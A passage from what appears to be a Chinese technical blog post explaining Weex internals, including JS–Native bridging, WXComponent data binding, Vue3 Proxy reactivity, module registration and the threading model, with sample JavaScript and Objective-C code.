      "args": [{"ref": "1", "type": "div", "style": {...}}]
    }
    
  • JS-Native 桥接:这些指令通过 callNative 方法,从 JS 端发送到 Native 端,同时 Native 端也可以通过 callJS 方法向 JS 端发送事件(比如用户点击)

3. 原生端渲染

  • 指令解析与组件渲染:Native 端的渲染引擎(如 Android 的 WXRenderManger 和 iOS 的 WXComponentManager)接收并解析 JS 指令。Weex 维护了一个从 JS 组件到原生 UI 组件的映射表。(例如 映射到 iOS 的 UILabel)
  • 布局与样式:Weex 使用的 Flexbox 布局模型做为统一的布局方案,Native 端需要将 JS 传递的 css 样式属性,转换为原生组件能够理解的布局参数与样式属性。
  • 多线程模型:为了保证 UI 流畅,Weex 采用了多线程模型。DOM 操作和布局计算通常在单独的 DOM 线程进行,而最终创建和更新原生视图的操作必须在 UI 主线程上进行

4. 拓展机制

  • 模块(Module):用于暴露原生能力(如网络、存储)给前端调用,通过 callNative 触发,支持回调
  • 组件(Component):拓展自定义 UI 组件,允许开发者创建自定义的原生 UI 组件,并在 JSX 中使用
  • 适配器(Adapter):提供可替换的实现,如图片下载器

四、为什么自定义 Component 都需要继承自 WXComponent?

比如下面的代码

[self registerComponent:@"image" withClass:NSClassFromString(@"WXImageComponent") withProperties:nil];

@interface WXImageComponent : WXComponent

@end

答:自定义原生组件必须继承自 WXComponent,本质是复用 Weex 封装的「JS - 原生交互、生命周期、样式布局、渲染基础」等通用能力,确保组件能接入 Weex 运行时生态

Weex Module 与 Componet 的区别

类型 核心作用 基类 示例
Component 原生 UI 渲染(有视图) WXComponent WXImageComponent(图片)、WXTextComponent(文本)、自定义按钮组件
Module 功能扩展(无视图) WXModule WXNavigatorModule(导航)、WXStorageModule(存储)、自定义工具模块

实现 JS 与原生组件的「数据同步」(属性、事件、方法)

Weex 的核心是「JS 控制原生组件」,而 WXComponent 封装了 JS 与原生之间的通信协议,无需自定义组件手动处理:

  • 属性同步(Props):JS 端通过 <my-component prop1="xxx" prop2="yyy"> 传递的属性,WXComponent 会自动解析、类型转换(如 JS 字符串 → 原生 NSString/NSNumber),并通过 setter 方法同步到自定义组件。

    示例:WXImageComponent 继承 WXComponent 后,只需重写 -setSrc:(NSString*)src 方法,就能接收 JS 传的 src 属性,无需关心「JS 如何把值传给原生」。

  • 事件分发(Events):原生组件的交互事件(如点击、加载完成),WXComponent 会按照 Weex 协议回传给 JS 端(如 @emit('click') )

    示例:自定义按钮组件继承后,只需调用 [self fireEvent:@"click" params:@{@"x": @100, @"y": @200}] ,JS 端就能通过 @onclick接收事件,无需自己实现事件通信。

  • 方法调用(Methods):JS 端通过 this.$refs.myComponent.callMethod('xxx', params) 调用原生组件方法,WXComponent

    会解析方法名和参数,反射调用自定义组件的对应方法。

    示例:自定义播放器组件继承后,只需暴露 -play方法,JS 就能直接调用,WXComponent负责方法查找和参数传递。

五、JS 数据变化是如何驱动 Native UI 更新的

纯 Web 端的数据变化会通过 Proxy 去驱动关联的 UI 更新,这也是 Vue3 的工作原理,那么 JS 端的数据变化是如何驱动 Native UI 组件的更新的?

所有的 Native UI Component 都继承自 WXComponent,所以可以直接给 WXComponent 添加一个实现 DataBinding 的 Category,这就是 Weex 最新源码中的 WXComponent+DataBinding.mm

核心是:解析 JS 端传递的「绑定表达式」(如 {{a + b}}),编译为原生可执行的回调 Block,当 JS 数据变化时,通过 Block 计算出组件所需的新值,自动更新组件的属性、样式、事件,或处理列表(v-for)、条件(v-if)、一次性绑定(v-once)等逻辑

可能有些人要问了:为什么当 js 数据变化时,需要让 Native 计算组件所需的新值?这不就是 Native 做了一遍 Vue 响应式的逻辑吗?这种重复逻辑的价值是什么?

Vue3 的 Proxy 只负责「JS 端数据变化的监听 + 依赖收集 + 触发更新通知」—— 它是 “响应式的触发器”,而非 “UI 更新的执行者”

而 Weex 之所以需要 Native 托管,核心是因为「继承自 WXComponent 的 UI 组件是 Native 侧的原生组件,而非 DOM 组件」,JS 端没有任何能力(API)去访问、操作他们,Proxy 再强大,它也只是 Native 侧(Weex)和 Web 端(Vue)负责“喊一声,哎,数据变了,你们谁需要的自助,自己去处理感兴趣的 UI”,却摸不到 UI 组件,Web 端由 DOM API 去渲染绘制,Native 端更触碰不到,必须由 Native 自己来完成:听到通知 -> 计算新值 -> 更新控件的流程。

1. Proxy 都做了些什么?

Vue3 的核心实现里 Proxy 做了3件事:全程在 JS 侧,不涉及任何 UI 操作

监听数据操作:通过 Proxy 代理对象拦截数据的 getter、setter

  • 通过 getter 收集依赖关系:当组件渲染时触发 getter,Proxy 会记录这个组件依赖了这个数据
  • 通过 setter 触发更新通知:当数据被修改时触发 setter,Proxy 会告诉 Vue 运行时,“user.name” 变了,所有依赖它的组件该更新了

Proxy(代理)是 ES6 新增的内置对象,用于创建一个对象的代理副本,并通过「陷阱(Trap)」拦截对原对象的基本操作(如属性访问、赋值、删除等),从而自定义这些操作的行为。

const proxy = new Proxy(target, handler);
  • target:被代理的原始对象(可以是对象、数组,甚至函数);
  • handler:配置对象,包含多个「陷阱方法」(如 getset),用于定义拦截逻辑;
  • proxy:代理对象,后续对原始对象的操作需通过代理对象进行,才能触发拦截。
陷阱方法 作用 触发场景
get(target, key, receiver) 拦截「属性访问」 proxy.keyproxy[key]
set(target, key, value, receiver) 拦截「属性赋值」 proxy.key = valueproxy[key] = value
deleteProperty(target, key) 拦截「属性删除」 delete proxy.key
has(target, key) 拦截「in 运算符判断」 key in proxy

Tips: Proxy 代理的是「整个对象」,而非单个属性,且拦截的是「操作行为」(如 “访问属性” 这个动作),而非属性本身。

Vue 核心流程:创建代理 → 依赖收集 → 数据修改 → 触发更新

1. 创建代理(reactive 函数的核心)

reactive 函数接收一个原始对象,返回其 Proxy 代理对象,同时配置 getset 等陷阱方法,为后续依赖收集和更新做准备

function reactive(target) {
  return new Proxy(target, {
    // 拦截属性访问
    get(target, key, receiver) {
      // 1. 先获取原始属性值
      const value = Reflect.get(target, key, receiver);
      // 2. 收集依赖(关键:记录“谁在访问这个属性”)
      track(target, key);
      // 3. 若访问的是嵌套对象,递归创建代理(懒代理,优化性能)
      if (typeof value === 'object' && value !== null) {
        return reactive(value);
      }
      return value;
    },
    // 拦截属性赋值
    set(target, key, value, receiver) {
      // 1. 先设置原始属性值
      const oldValue = Reflect.get(target, key, receiver);
      const success = Reflect.set(target, key, value, receiver);
      // 2. 若值发生变化,触发依赖更新
      if (success && oldValue !== value) {
        trigger(target, key);
      }
      return success;
    },
    // 拦截属性删除
    deleteProperty(target, key) {
      const success = Reflect.deleteProperty(target, key);
      if (success) {
        trigger(target, key); // 删除属性也触发更新
      }
      return success;
    }
  });
}
  • Reflect 操作原始对象,Reflect 是 ES6 新增的内置对象,提供了与 Proxy 陷阱对应的方法,比如 Relect.getReflect.set 确保操作原始对象的行为一直,同时避免直接操作 target 所产生的问题
  • 嵌套对象懒代理:Proxy 仅代理当前层级对象,当访问嵌套对象 (proxy.user.name)时,才递归对 user 对象创建代理,避免初始化时递归遍历所有属性,优化性能

2. 依赖收集

Vue3 用「三层映射」存储依赖,确保精准定位

// WeakMap:key 是被代理的原始对象(target),value 是该对象的属性-依赖映射
const targetMap = new WeakMap();

function track(target, key) {
  // 1. 若没有当前目标对象的映射,创建一个(Map:key 是属性名,value 是依赖集合)
  if (!targetMap.has(target)) {
    targetMap.set(target, new Map());
  }
  const depsMap = targetMap.get(target);

  // 2. 若没有当前属性的依赖集合,创建一个(Set:存储依赖函数,去重)
  if (!depsMap.has(key)) {
    depsMap.set(key, new Set());
  }
  const deps = depsMap.get(key);

  // 3. 将当前活跃的依赖函数(effect)添加到集合中
  if (activeEffect) {
    deps.add(activeEffect);
  }
}

会产生一个这样的结构

{
""
}

3. 数据修改(触发 set/deleteProperty 的陷阱)

当通过代理对象修改属性(如 proxy.name = 'newName')或删除属性(如 delete proxy.age)时,会触发对应的 Proxy 陷阱(setdeleteProperty)。

陷阱函数会先更新原始对象的属性值,再判断值是否真的发生变化(避免无效更新)

4. 触发更新 (tigger 函数)

function trigger(target, key) {
  // 1. 从 targetMap 中获取当前对象的属性-依赖映射
  const depsMap = targetMap.get(target);
  if (!depsMap) return;

  // 2. 获取当前属性的所有依赖
  const deps = depsMap.get(key);
  if (!deps) return;

  // 3. 执行所有依赖函数(触发更新)
  deps.forEach(effect => effect());
}

2. Proxy 不做的事情

  • 不计算表达式(比如 user.name + "后缀"的结果,Proxy 不管)
  • 不操作 UI(不管是 DOM 和 Native 控件,Proxy 都不碰)
  • 不跨端通信

为什么 Native 组件不能让 Proxy “解决”?

核心矛盾:渲染载体不同。Proxy 之所以在 Web 端能 “间接驱动 UI”,是因为 Web 端有个「中间桥梁」—— DOM,且 JS 端有完整的 DOM API(比如 document.getElementByIdelement.style.setProperty):

Web 端完整链路:Proxy 触发更新 → Vue 运行时计算表达式 → 虚拟 DOM diff → 调用 DOM API 操作 DOM → UI 更新

  • JS 端没有操作 Native 控件的 API:浏览器给 JS 暴露了 DOM API,但 iOS/Android 系统不会给 JS 引擎暴露 “修改 UILabel 文本”“设置 UIImageView 图片” 的 API —— JS 端连 Native 控件的 “引用” 都拿不到,更别说更新了;
  • Native 控件不在 JS 运行时的内存空间:JS 引擎(如 V8、JSC)和 Native 应用是两个独立的 “进程 / 虚拟机”,内存不共享 —— Proxy 所在的 JS 内存里,根本没有 Native 控件的实例,想操作都无从下手

Weex 的设计优雅之处在于:Native 托管“执行层”,Proxy 保留“触发层”。响应式工作继续复用现有逻辑,由 Proxy 完成,最后的执行层由 Native 实现,也就是 WXComponent+DataBinding

  • 响应式系统(Proxy)的核心是 “发现变化”:不管是 Web 还是 Weex,Proxy 都只干这件事;
  • UI 更新的核心是 “操作渲染载体”:Web 端操作 DOM(JS 端能做),Weex 端操作 Native 控件(只能 Native 端做);
  • WXComponent+DataBinding 的角色是 “Native 端的 UI 执行器”:它不是替代 Proxy,而是 Proxy 触发更新后,负责把 “更新通知” 落地到 Native 控件上的唯一途径

六、Weex 自定义组件是如何工作的

上面分析了自定义组件的数据变化和表达式运算是 Native 负责的,执行层也就是 WXComponent+DataBinding.mm 这个类。

一言以蔽之就是:把 JS 端传递的“原始数据”,通过预编译的绑定规则(Block)计算出 Native 组件需要的最终值,并自动更新 UI 组件,同时适配长列表组件等复杂场景的 UI 优化。

该分类为所有继承自 WXComponent 的组件,注入“数据绑定能力”,无需手动实现。

1. 绑定规则的“编译存储”,把 JS 表达式转换为 Native 可执行的 block

数据绑定的「前置准备」:在组件初始化时,解析 JS 端传递的绑定规则(如 [[user.name]][[repeat]]),编译为 Native 可执行的 WXDataBindingBlock(代码块),并存储到组件的绑定映射表中(_bindingProps/_bindingStyles/_bindingEvents 等)

- (void)_storeBindingsWithProps:(NSDictionary *)props styles:(NSDictionary *)styles attributes:(NSDictionary *)attributes events:(NSDictionary *)events;

接收组件的 props/attrbutes/styles/events 中的绑定规则,解析并存储为可执行的 block。

  1. 识别绑定表达式:判断是否包含 WXBindingIdentify@"@binding")标记,比如 {"src": {"@binding": "user.name"}}
  2. AST 解析:通过 WXJSASTParser 把绑定表达式字符串(如 "user.name + '后缀'")解析为 AST 节点(WXJSExpression);
  3. 生成执行 Block:调用 -bindingBlockWithExpression: 把 AST 节点转成 WXDataBindingBlock(后续数据变化时直接执行该 Block 计算结果);
  4. 分类存储:按绑定类型(属性 / 样式 / 事件 / 特殊绑定)存入对应的映射表:
    • _bindingProps:属性绑定(如 src);
    • _bindingStyles:样式绑定(如 fontSize);
    • _bindingEvents:事件绑定(如 onClick 参数);
    • 特殊绑定:_bindingRepeat[[repeat]] 对应 v-for)、_bindingMatch[[match]] 对应 v-if)、_dataBindOnce[[once]] 对应 v-once)。

2. WXComponentManager 都做了什么

WXComponentManager 是 Weex iOS 端的 组件全生命周期与任务调度核心,所有与 Native 组件相关的操作(创建、更新、布局、销毁、事件绑定)都由它统一管理,同时承担「线程分工协调、UI 任务批量处理、性能监控」等关键职责,是连接 JS 指令、Native 组件、布局引擎和 UI 渲染的 “中枢大脑”。

1. 组件线程管理

组件业务的 “专属执行环境”,作为组件线程的「创建者和维护者」,WXComponentManager 确保所有组件核心操作都在全局唯一的组件线程中执行,避免线程安全问题和主线程阻塞。

核心工作:

  • 懒加载创建全局组件线程(+componentThread),启动 RunLoop 确保线程常驻(_runLoopThread
  • 提供线程调度接口:WXPerformBlockOnComponentThread(异步)、WXPerformBlockSyncOnComponentThread(同步),让外部模块(如 WXBridgeManager)能将组件任务提交到组件线程
  • 线程断言约束:所有组件核心方法(如 createBodyupdateStyles)开头都有 WXAssertComponentThread,强制组件操作在组件线程执

2. 组件树构建与管理:组件的 “增删改查” 全生命周期

核心工作:

  • 创建组件
    • 根组件创建(createBody:):接收 JS 端根组件指令,创建页面根组件(如 <div> 根节点),绑定到页面根视图;
    • 子组件创建(addComponent:type:parentRef:):根据 JS 端指令,创建子组件并关联父组件,存入 _indexDict(组件 ref → 实例映射,快速查找)。
  • 更新组件关系
    • 移动组件(moveComponent:toSuper:atIndex:):调整组件在组件树中的位置,同步更新视图层级;
    • 删除组件(removeComponent:):从组件树和索引字典中移除组件,递归删除子组件,释放视图资源。
  • 组件查询与遍历
    • 按 ref 查找组件(componentForRef:):供 JS 端 this.$refs 访问原生组件实例;
    • 遍历组件树(enumerateComponentsUsingBlock:):支持递归遍历所有组件(如性能统计、全局样式更新)

3. 数据绑定辅助:绑定规则的提取与存储

配合 WXComponent+DataBinding 模块,WXComponentManager 在组件创建时,从 JS 端传递的 props/styles/attributes 中提取「绑定表达式配置」,为响应式更新铺路。核心工作:

  • 提取绑定规则:
    • _extractBindings::从样式 / 属性中提取 [[repeat]]/{"@binding": "expr"} 等绑定配置,移除原始字典中的绑定字段(避免干扰普通属性处理)
    • _extractBindingEvents::从事件数组中提取绑定参数(如 onClick 的回调表达式);
    • _extractBindingProps::提取组件自定义 props 绑定(@componentProps)。
  • 存储绑定规则:调用组件的 _storeBindingsWithProps:styles:attributes:events:,将提取的绑定配置存入组件实例,后续数据变化时触发表达式计算。

4. 组件更新调度:样式 / 属性 / 事件的 “同步与执行”

当 JS 端触发组件更新(如修改样式、属性、绑定事件)时,WXComponentManager 负责「跨线程调度、数据预处理、UI 同步」,确保更新流程高效且安全。

  • 样式更新(updateStyles:forComponent:
    • 组件线程:过滤无效样式(如空值),更新组件实例的样式数据,触发布局计算;
    • 主线程:通过 _addUITask 将样式更新任务(如设置 CALayer.backgroundColorUILabel.font)批量调度到主线程执行。
  • 属性更新(updateAttributes:forComponent::类似样式更新,组件线程处理数据逻辑,主线程更新原生组件属性(如 UIImageView.imageUIScrollView.contentOffset)。
  • 事件绑定 / 解绑
    • 组件线程:维护组件的事件列表(如 click/scroll);
    • 主线程:绑定 / 移除原生手势识别器(如 UITapGestureRecognizer),捕获用户交互。
  • 批量更新优化:通过 performBatchBegin/performBatchEnd 标记批量更新范围,合并多个 UI 任务,减少主线程调度次数(提升性能)。

5. 布局调度与 UI 同步:从布局计算到 UI 渲染

Weex 采用 Flex 布局引擎(Yoga),WXComponentManager 负责布局计算的触发、组件 frame 分配、UI 任务批量执行,确保组件按预期位置渲染。

  • 触发布局计算:组件更新、根视图尺寸变化(rootViewFrameDidChange:)时,调用 _layoutAndSyncUI 触发 WXCoreBridge 执行 Yoga 布局计算,得到所有组件的 frame。
  • 分配组件 frame:layoutComponent:frame:isRTL:innerMainSize: 将计算后的 frame 分配给组件,若为根组件,同步更新页面根视图尺寸(适配 wrap_content 模式)。
  • UI 任务同步:_syncUITasks 批量执行 _uiTaskQueue 中的 UI 任务(如 addSubviewsetFrame),异步调度到主线程,避免频繁主线程切换导致掉帧。
  • 帧率同步:通过 WXDisplayLinkManager 监听屏幕刷新率(60fps),确保布局更新与帧率同步,提升渲染流畅度。

6. 生命周期与资源释放:页面卸载时的 “清理工作”

当 Weex 页面销毁(WXSDKInstance 卸载)时,WXComponentManager 负责清理组件资源,避免内存泄漏。

核心工作(unload 方法):

  • 停止布局调度:调用 _stopDisplayLink,停止帧率监听和布局计算;
  • 解绑渲染资源:遍历所有组件,解除与底层渲染对象(RenderObject)的绑定;
  • 释放 UI 资源:调度到主线程,销毁所有组件的原生视图(_unloadViewWithReusing:);
  • 清空状态:清空 _indexDict_uiTaskQueue_fixedComponents 等容器,解除与 WXSDKInstance的绑定。
  • 清除事件绑定:清除所有的事件、手势等逻辑

七、WXModule 的注册机制及其调用流程

sequenceDiagram
    participant JS as JS环境
    participant B as WXBridge
    participant MF as WXModuleFactory
    participant MM as WXModuleManager
    participant MI as Module实例
    participant MC as 自定义Module

    Note over JS,MC: 注册阶段
    MC->>+MF: registerModule("customModule", MyModule.class)
    MF->>MF: 生成ModuleFactory并缓存
    MF->>MF: 反射解析@JSMethod方法
    MF->>B: 将模块&方法信息传递给JS

    Note over JS,MC: 调用阶段
    JS->>+B: weex.requireModule('customModule').myMethod(args)
    B->>+MM: 调用 invokeModuleMethod
    MM->>+MF: 获取Module实例和方法Invoker
    MF->>MF: 查找/创建Module实例
    MF->>MF: 获取方法Invoker
    MF->>MM: 返回实例和Invoker
    MM->>+MI: 通过Invoker.invoke调用
    MI->>+MC: 执行原生方法实现
    MC->>JS: 通过callback回调JS(可选)

1. WXModule 的注册分为 Naitve 注册和 JS 注册

  • Native 注册:在 Native 端,调用 [WXSDKEngine registerModule:withClass:] 方法(在 iOS 中) ,这个过程会将自定义 Module 的类和一个模块名称(例如 TestModule)建立映射关系,并生成一个 ModuleFactory 存储在一个全局的 Map(例如 sModuleFactoryMap)中。同时,如果该 Module 被标记为全局(global),SDK 会立即创建一个实例并缓存起来。
  • JS 注册:Native 注册完成后,Weex 会将所有已注册 Module 的模块名称及其暴露给 JS 的方法名列表,通过 WXBridge(JS-Native 通信桥梁)传递给 JS 引擎。这样,JS 端就知道存在哪些模块以及每个模块有哪些方法可以调用。

2. 当 JS 调用 Module 方法时

  • JS 发起调用:在 JS 代码中,通过 weex.requireModule('moduleName') 获取模块实例 。然后吊影其方法,比如 'staream.fetch()options, callack)'
  • Bridge 桥接:JS 引擎通过 JSBridge 将这次调用(包括模块名、方法名、参数等信息)传递给 Native 段
  • Native 端查找与执行:Native 端的 WXModuleManager 根据模块名从之前注册的工厂中获取创建的 Module 实例,并根据方法名找到对应的 MethodInvoker。MethodInvoker 会通过反射手段调用具体的 Native 方法
  • 结果回调:如果有需要,Native 可以通过 WXModuleCallBack 或者 WXModuleKeepAliveCallBack 将结果回调给 JS。WXModuleCallback 只能回调1次,而 WXModuleKeepAliveCallback 可以多次回调

3. WXModuleProtocol 的作用

WXModuleProtocol 是一个协议,定义了 Module 的行为规范。你的自定义 Module 必须遵循此协议。它声明了 Module 需要实现的方法或属性,例如如何暴露方法给 JS(通过 WX_EXPORT_METHOD 宏)、方法在哪个线程执行(通过实现特定的方法返回目标线程,例如 targetExecuteThread)、以及如何通过 weexInstance 属性弱引用持有它的 WXSDKInstance 实例。 通过遵循 WXModuleProtocol,你自定义的 Module 就能被 Weex SDK 正确识别和调

4. WXModuleFactory 的作用

  1. 存储配置:在注册阶段,它会缓存 Module 的配置信息,例如模块名和对应的工厂类(WXModuleConfig)。
  2. 方法解析:通过反射,解析 Module 类中所有通过 WX_EXPORT_METHODWX_EXPORT_METHOD_SYNC 宏暴露的方法,并生成方法名与 MethodInvoker(封装了反射调用逻辑)的映射关系。
  3. 提供实例:当 JS 调用 Module 方法时,WXModuleManager 会通过 WXModuleFactory 根据模块名获取或创建 Module 实例,以及对应方法的 MethodInvoker

八、Weex 分为几个线程

1. 主线程

核心定位:应用的 UI 线程(与原生 App 主线程同源),负责 UI 渲染、用户交互响应,禁止耗时操作

核心职责:

  • 承载 Weex 页面的 原生渲染容器(如 Android 的 WXFrameLayout、iOS 的 WXSDKInstanceView),执行视图布局、绘制、动画触发;
  • 处理用户交互事件(点击、滑动、输入等),并将事件转发给 JS 线程(如需要 JS 逻辑响应时);
  • 执行原生模块的 主线程方法(通过 @WXModuleAnnotation(runOnUIThread = true) 标记的方法,如弹 Toast、更新 UI 的原生能力);
  • 接收 JS 线程下发的 UI 操作指令(如创建视图、修改样式、更新属性),并映射为原生视图操作;

关键约束:所有直接操作原生视图的逻辑必须在主线程执行,否则会导致 UI 错乱或崩溃

2. JS 线程

核心定位:Weex 的 “业务逻辑线程”,独立于主线程,专门运行 JavaScript 代码,避免阻塞 UI。

核心职责:

  • 加载并执行 Weex 业务代码(.we 编译后的 JS bundle),包括 Vue/React 组件初始化、数据绑定、生命周期管理;
  • 处理 JS 层面的业务逻辑(事件响应、数据计算、接口请求预处理);
  • 调用原生模块时,通过 JSBridge 转发请求(区分同步 / 异步,同步请求会短暂阻塞 JS 线程,需谨慎使用);
  • 生成 UI 操作指令(如 createElementupdateStyle),通过跨线程通信发送给主线程执行;
  • 接收主线程转发的用户交互事件(如点击回调),执行对应的 JS 事件处理函数;

关键优化**:最新版本中,JS 线程支持 Bundle 预加载懒加载组件,减少启动耗时;同时通过 JSContext隔离多个 Weex 实例,避免线程内资源竞争。

3. 耗时线程

1. 网络线程

核心定位:Weex 框架封装的 专用网络线程(跨端统一调度),避免网络请求阻塞主线程或 JS 线程。

核心职责:

  • 处理 Weex 内置的网络请求(如 weex.requireModule('stream') 发起的 HTTP/HTTPS 请求);
  • 负责 JS Bundle 的下载(首次加载或更新时),支持断点续传、缓存管理;
  • 处理网络请求的拦截、重试、超时控制(框架层统一实现,无需业务关心);
  • 将网络响应结果通过 JSBridge 回传给 JS 线程;

设计亮点:与原生系统的网络库解耦,但对外暴露统一的 JS API,线程调度由框架内部管理,业务无需手动切换线程

2. 图片下载线程

核心定位:专门处理 Weex 图片的异步加载、解码,避免占用主线程资源导致 UI 卡顿。

核心职责:

  • 加载网络图片、本地图片(通过 img 标签或 weex.requireModule('image'));
  • 图片解码、压缩(适配视图尺寸,减少内存占用);
  • 图片缓存管理(内存缓存 + 磁盘缓存,框架层统一维护);
  • 加载完成后,将图片 bitmap 提交到主线程渲染;

iOS 侧图片加载线程的核心管理类是 WXImageComponent

Weex 线程职责边界清晰:UI 操作归主线程,JS 逻辑归 JS 线程,耗时操作归工作线程 / 网络线程,避免跨线程直接操作资源

九、JS 和 Native 通信

1. callJS 和 callNative

通信方向 发起方 接收方 核心目的 典型场景
callNative JS Native JS 调用 Native 的模块 / 组件接口 渲染组件、弹 Toast、获取设备信息
callJS Native JS Native 触发 JS 的回调函数 组件事件回调(如按钮点击)、数据同步(如网络请求结果)

两者的底层依赖 同一个 JS Bridge 通道,只是「发起方」和「数据格式」不同,Weex 已封装好统一的通信框架,开发者无需关心底层传输细节

2. callNative 实现

callNative 是 JS 主动调用 Native 接口的过程,核心流程:JS 构造标准化指令 → 序列化 JSON → 桥接通道发送 → Native 解析指令 → 执行对应接口 → 响应结果回传

怎么样?是不是感觉似曾相识,早期做 Hybrid 的时候,JS 和 Native 的通信也是一样的流程,感兴趣的可以查看这篇文章

是的,通信要解决的问题一直不变,所以方案也不变。

1. 标准化指令格式

为了让 Native 能统一解析,Weex 规定 callNative 的指令必须包含 4 个核心字段(JS 端构造):

const callNative指令 = {
  module: "component",    // 模块名(如 component/modal/device)
  method: "create",       // 方法名(如 create/toast/getInfo)
  params: {},             // 入参(如组件样式、Toast 内容)
  callbackId: "cb_123"    // 回调 ID(用于 Native 回传结果)
};
  • module + method:定位 Native 端的具体接口(如 modal.toast 对应 Native 的「弹 Toast」接口);
  • params:JS 传递给 Native 的数据(需是 JSON 兼容类型);
  • callbackId:唯一标识当前请求,Native 执行完成后通过该 ID 找到对应的 JS 回调函数。

2. JS 端实现

JS 侧调用 Native 的核心是3个实例方法,对应3类场景

方法名 用途 对应 Native 接口
callModule 调用 Native 普通模块(如 modal/storage global.callNativeModule
callComponent 调用 Native 自定义组件方法 global.callNativeComponent
callDOM 调用 DOM 相关 Native 方法(如创建元素) global.callAddElement 等独立方法

这3个方法都会通过 Native 注入的全局函数(global 上的方法)将调用传递给 Native 层

这3个方法在源码最后

// 调用 DOM 相关 Native 方法
callDOM (action, args) {
  return this[action](this.instanceId, args)
}

// 调用 Native 自定义组件方法
callComponent (ref, method, args, options) {
  return this.componentHandler(this.instanceId, ref, method, args, options)
}

// 调用 Native 普通模块方法(最常用,对应原 callNative)
callModule (module, method, args, options) {
  return this.moduleHandler(this.instanceId, module, method, args, options)
}
1. 普通模块调用 callModule → moduleHandler

moduleHandler 是普通模块调用的最终转发函数,源码中通过 global.callNativeModule 对接 Native:

proto.moduleHandler = global.callNativeModule ||
    ((id, module, method, args) =>
      fallback(id, [{ module, method, args }]))
  • 正常情况(客户端环境):global.callNativeModuleNative 注入到 JS 全局的函数(iOS/Android 原生实现),直接接收 instanceId、模块名、方法名、参数,传递给 Native 层。
  • 降级情况(无 Native 桥接):调用 fallback 函数(初始化时由 sendTasks 参数传入,通常用于调试 / 模拟)。
2. 自定义组件调用 callComponent → componentHandler

逻辑与 moduleHandler 一致,对接 global.callNativeComponent

proto.componentHandler = global.callNativeComponent ||
  ((id, ref, method, args, options) =>
    fallback(id, [{ component: options.component, ref, method, args }]))
3. DOM 方法调用 callDOM → 独立全局函数映射

DOM 相关的 Native 方法(如 addElement/updateStyle)被单独映射到 global 上的独立函数(而非统一的 callNative),源码通过 init 函数初始化映射:

// 源码第 116-138 行:DOM 方法与 Native 全局函数的映射
export function init () {
  const DOM_METHODS = {
    createFinish: global.callCreateFinish,
    addElement: global.callAddElement, // DOM 创建元素 → Native 的 callAddElement
    removeElement: global.callRemoveElement, // DOM 删除元素 → Native 的 callRemoveElement
    updateAttrs: global.callUpdateAttrs, // 更新属性 → Native 的 callUpdateAttrs
    // ... 其他 DOM 方法
  }
  const proto = TaskCenter.prototype

  // 给 TaskCenter 原型挂载 DOM 方法,直接调用 Native 注入的全局函数
  for (const name in DOM_METHODS) {
    const method = DOM_METHODS[name]
    proto[name] = method ?
      (id, args) => method(id, ...args) : // 正常情况:调用 Native 全局函数
      (id, args) => fallback(...) // 降级情况
  }
}

例如调用 callDOM('addElement', args) 时,最终会执行 global.callAddElement(instanceId, ...args),直接对接 Native 的 DOM 模块。其实是注入到 JSContext 里的方法对象。

在 Weex 的 JS 运行环境中,globalJS 全局对象(Global Object)—— 它是所有 JS 代码的 “顶层容器”,所有未被定义在局部作用域的变量、函数,最终都会挂载到 global 上(类似浏览器环境的 window,Node.js 环境的 global

Native 向 JS 引擎的 “全局上下文” 注入 callAddElement 函数时,该函数会自动成为 global 对象的属性——JS 侧的 global.callAddElement,本质就是访问这个被 Native 注入到全局的函数。

QA:global 是什么?

是 JS 全局对象。不管是浏览器、Node.js 还是 Weex 的 JS 引擎(JavaScriptCore/QuickJS),都有一个 全局对象(Global Object)

  • 它是 JS 运行环境的 “根”,所有全局变量、函数都是它的属性;
  • 不同环境的全局对象名称不同:
    • 浏览器环境:叫 window(比如 window.alertwindow.document);
    • Node.js 环境:叫 global(比如 global.consoleglobal.setTimeout);
    • Weex 环境:叫 global(因为 Weex 不依赖浏览器,没有 window,直接用 JS 引擎原生的全局对象 global)。
// WXJSCoreBridge.mm
- (void)registerCallAddElement:(WXJSCallAddElement)callAddElement
{
    id callAddElementBlock = ^(JSValue *instanceId, JSValue *ref, JSValue *element, JSValue *index, JSValue *ifCallback) {
        NSString *instanceIdString = [instanceId toString];
        WXSDKInstance *instance = [WXSDKManager instanceForID:instanceIdString];
        if (instance.unicornRender) {
            JSValueRef args[] = {instanceId.JSValueRef, ref.JSValueRef, element.JSValueRef, index.JSValueRef};
            [WXCoreBridge callUnicornRenderAction:instanceIdString
                                           module:"dom"
                                           method:"addElement"
                                          context:[JSContext currentContext]
                                             args:args
                                         argCount:4];
            return [JSValue valueWithInt32:0 inContext:[JSContext currentContext]];
        }

        NSDictionary *componentData = [element toDictionary];
        NSString *parentRef = [ref toString];
        NSInteger insertIndex = [[index toNumber] integerValue];
        if (WXAnalyzerCenter.isInteractionLogOpen) {
            WXLogDebug(@"wxInteractionAnalyzer : [jsengin][addElementStart],%@,%@",instanceIdString,componentData[@"ref"]);
        }
        return [JSValue valueWithInt32:(int32_t)callAddElement(instanceIdString, parentRef, componentData, insertIndex) inContext:[JSContext currentContext]];
    };
    
    _jsContext[@"callAddElement"] = callAddElementBlock;
}

在 js 侧是通过 TaskCenter.js 的 init 方法中定义的,存在映射关系, addElement: global.callAddElement,

3. callJS 实现

WXReactorProtocol 协议:

  • 定义 Native 调用 JS 的「标准接口」(如触发回调、发送事件),不关心底层用哪种 JS 引擎(JavaScriptCore / 其他);
  • 具体的桥接类(如 WXJSCoreBridge)遵守这个协议,实现接口方法 —— 即使未来替换 JS 引擎,只要遵守协议,上层代码(如 Native 模块、组件)无需修改。

@class JSContext;

@protocol WXReactorProtocol <NSObject>

@required

/**
Weex should register a JSContext to reactor
*/
- (void)registerJSContext:(NSString *)instanceId;

/**
 Reactor execute js source
*/
- (void)render:(NSString *)instanceId source:(NSString*)source data:(NSDictionary* _Nullable)data;

- (void)unregisterJSContext:(NSString *)instanceId;

/**
 When js call Weex NativeModule, invoke callback function
 
 @param instanceId : weex instance id
 @param callbackId : callback function id
 @param args       : args
*/
- (void)invokeCallBack:(NSString *)instanceId function:(NSString *)callbackId args:(NSArray * _Nullable)args;

/**
Native event to js
 
@param instanceId :   instance id
@param ref        :   node reference
@param event      :   event type
@param args       :   parameters in event object
@param domChanges :  dom value changes, used for two-way data binding
*/
- (void)fireEvent:(NSString *)instanceId ref:(NSString *)ref event:(NSString *)event args:(NSDictionary * _Nullable)args domChanges:(NSDictionary * _Nullable)domChanges;

@end

Native 模块(Module)/组件(Component) 完成任务后 -> WXBridgeManager.callBack(...) → 构造 JS 脚本(调用 TaskCenter.callback) → WXJSCoreBridge.executeJavascript(...) → JS 引擎执行 → TaskCenter.callback 响应

